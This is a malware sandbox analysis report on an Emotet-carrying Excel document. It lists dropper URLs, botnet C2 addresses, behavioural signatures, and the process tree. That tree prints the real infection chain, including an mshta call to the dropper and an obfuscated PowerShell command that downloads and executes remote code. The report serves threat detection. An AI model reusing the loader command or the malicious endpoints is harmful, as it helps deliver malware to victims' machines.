Analysis

  • max time kernel
    155s
  • max time network
    175s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28/01/2022, 16:03

General

  • Target
    Mail-550898030336.xls
  • Size 76KB
  • Sample220128-thc6pagcfj
  • SHA256 9d89baddbcdadef7e35bf25b5705eae33e688f87f0f311f1da9ff7002effc8bf
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/qqw/aas/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/qqw/aas/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Mail-550898030336.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/qqw/aas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3472
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/qqw/aas/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqw/aas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3144
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2816
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2084
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1680
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fwafsbdee\hbfjoyxqkisvt.uzb",CAzqfoeavwQfTYk
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2380
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fwafsbdee\hbfjoyxqkisvt.uzb",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1224
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3948 -s 2264
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1400

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1224-358-0x0000000002C40000-0x0000000002C67000-memory.dmp

        memory/1224-359-0x00000000047D0000-0x00000000047F7000-memory.dmp

        memory/1224-370-0x00000000050D0000-0x00000000050F7000-memory.dmp

        memory/1224-368-0x0000000004FE0000-0x0000000005007000-memory.dmp

        memory/1224-364-0x0000000004D20000-0x0000000004D47000-memory.dmp

        memory/1224-362-0x0000000004C40000-0x0000000004C67000-memory.dmp

        memory/1680-338-0x0000000004730000-0x0000000004757000-memory.dmp

        memory/1680-333-0x0000000000AE0000-0x0000000000B07000-memory.dmp

        memory/1680-356-0x0000000004C80000-0x0000000004CA7000-memory.dmp

        memory/1680-336-0x0000000004650000-0x0000000004677000-memory.dmp

        memory/1680-340-0x0000000004910000-0x0000000004937000-memory.dmp

        memory/1680-344-0x0000000004AD0000-0x0000000004AF7000-memory.dmp

        memory/2000-119-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-118-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-122-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-390-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-120-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-121-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-393-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-392-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-391-0x00007FF8726E0000-0x00007FF8726F0000-memory.dmp

        memory/2000-131-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

        memory/2000-132-0x00007FF86F1F0000-0x00007FF86F200000-memory.dmp

        memory/2084-331-0x0000000003420000-0x0000000003447000-memory.dmp

        memory/2380-354-0x00000000009C0000-0x00000000009E7000-memory.dmp

        memory/3144-301-0x00000188D35E0000-0x00000188D361C000-memory.dmp

        memory/3144-281-0x00000188BB510000-0x00000188BB532000-memory.dmp

        memory/3144-312-0x00000188D3D10000-0x00000188D3D86000-memory.dmp

        memory/3144-321-0x00000188BB570000-0x00000188D3660000-memory.dmp

        memory/3144-322-0x00000188BB570000-0x00000188D3660000-memory.dmp

        memory/3144-327-0x00000188BB570000-0x00000188D3660000-memory.dmp